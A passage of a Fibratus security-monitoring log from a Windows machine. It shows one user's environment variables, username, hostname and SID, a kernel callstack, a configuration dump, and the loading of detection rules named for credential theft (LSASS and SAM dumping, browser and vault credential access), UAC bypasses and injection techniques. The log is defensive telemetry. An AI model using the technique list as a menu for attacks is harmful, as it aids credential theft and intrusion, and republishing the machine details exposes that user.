7936 + Name: msedge.exe + Parent name: explorer.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:14632 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_14632_UQVAIIAOGTUMQARM EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1156 EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EFC_7936_1262719628:1 EFC_7936_1592913036:1 EFC_7936_2283032206:1 EFC_7936_2775293581:1 EFC_7936_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff806ae742714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff806ae674909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff806ae748ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff806aec72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff806aec71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff806aec690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff806aec621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff806aec6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff806aeab2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffca2995014 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffca27efca0 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffca27f00b3 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffd014e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffd014e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffd014e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffd014e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffd01554294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffd014f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffd014f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffd0151fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcfe81d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffd00cf7a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffd00cf759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffd00d144fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffd00e7d25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffd00cc923c C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffd00cc8af7 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffd00cc966a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7ffd00cca6c9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7ffcdb0556d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcdb01408f C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcdb01e3b9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcdb01db3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcdb096922 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffcdb049dd1 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcdb0489d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcdb05f09d C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffd0011ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffd0011a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffd00119c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffd0082e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffd0156c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-09T18:30:32+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-09T18:30:32+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:288 +time=2025-12-09T18:30:33+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:288 +time=2025-12-09T18:40:26+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:40:26+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-09T18:40:26+01:00 level=info msg=bootstrapping with pid 2140. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-09T18:40:26+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ port=>25 to=>[] content-type=>text/html use-template=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-threads=>false] + eventsource .................... [ flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false buffer-size=>512 enable-dns=>false enable-net=>true enable-fileio=>true enable-handle=>false enable-image=>true min-buffers=>16 enable-thread=>true max-buffers=>36 enable-registry=>true enable-audit-api=>true stack-enrichment=>true enable-vamap=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text max-size=>100 log-stdout=>true max-backups=>15 level=>info] + output ......................... [ amqp=>[ durable=>false url=>amqp://localhost:5672 exchange=>fibratus exchange-type=>topic delivery-mode=>transient enabled=>false tls-insecure-skip-verify=>false timeout=>5s routing-key=>fibratus vhost=>/ passive=>false] http=>[ method=>POST endpoints=>[] timeout=>5s serializer=>json tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false] elasticsearch=>[ sniff=>false index-name=>fibratus timeout=>5s trace-log=>false enabled=>false healthcheck-timeout=>5s healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck=>true flush-period=>1s bulk-workers=>1 gzip-compression=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false 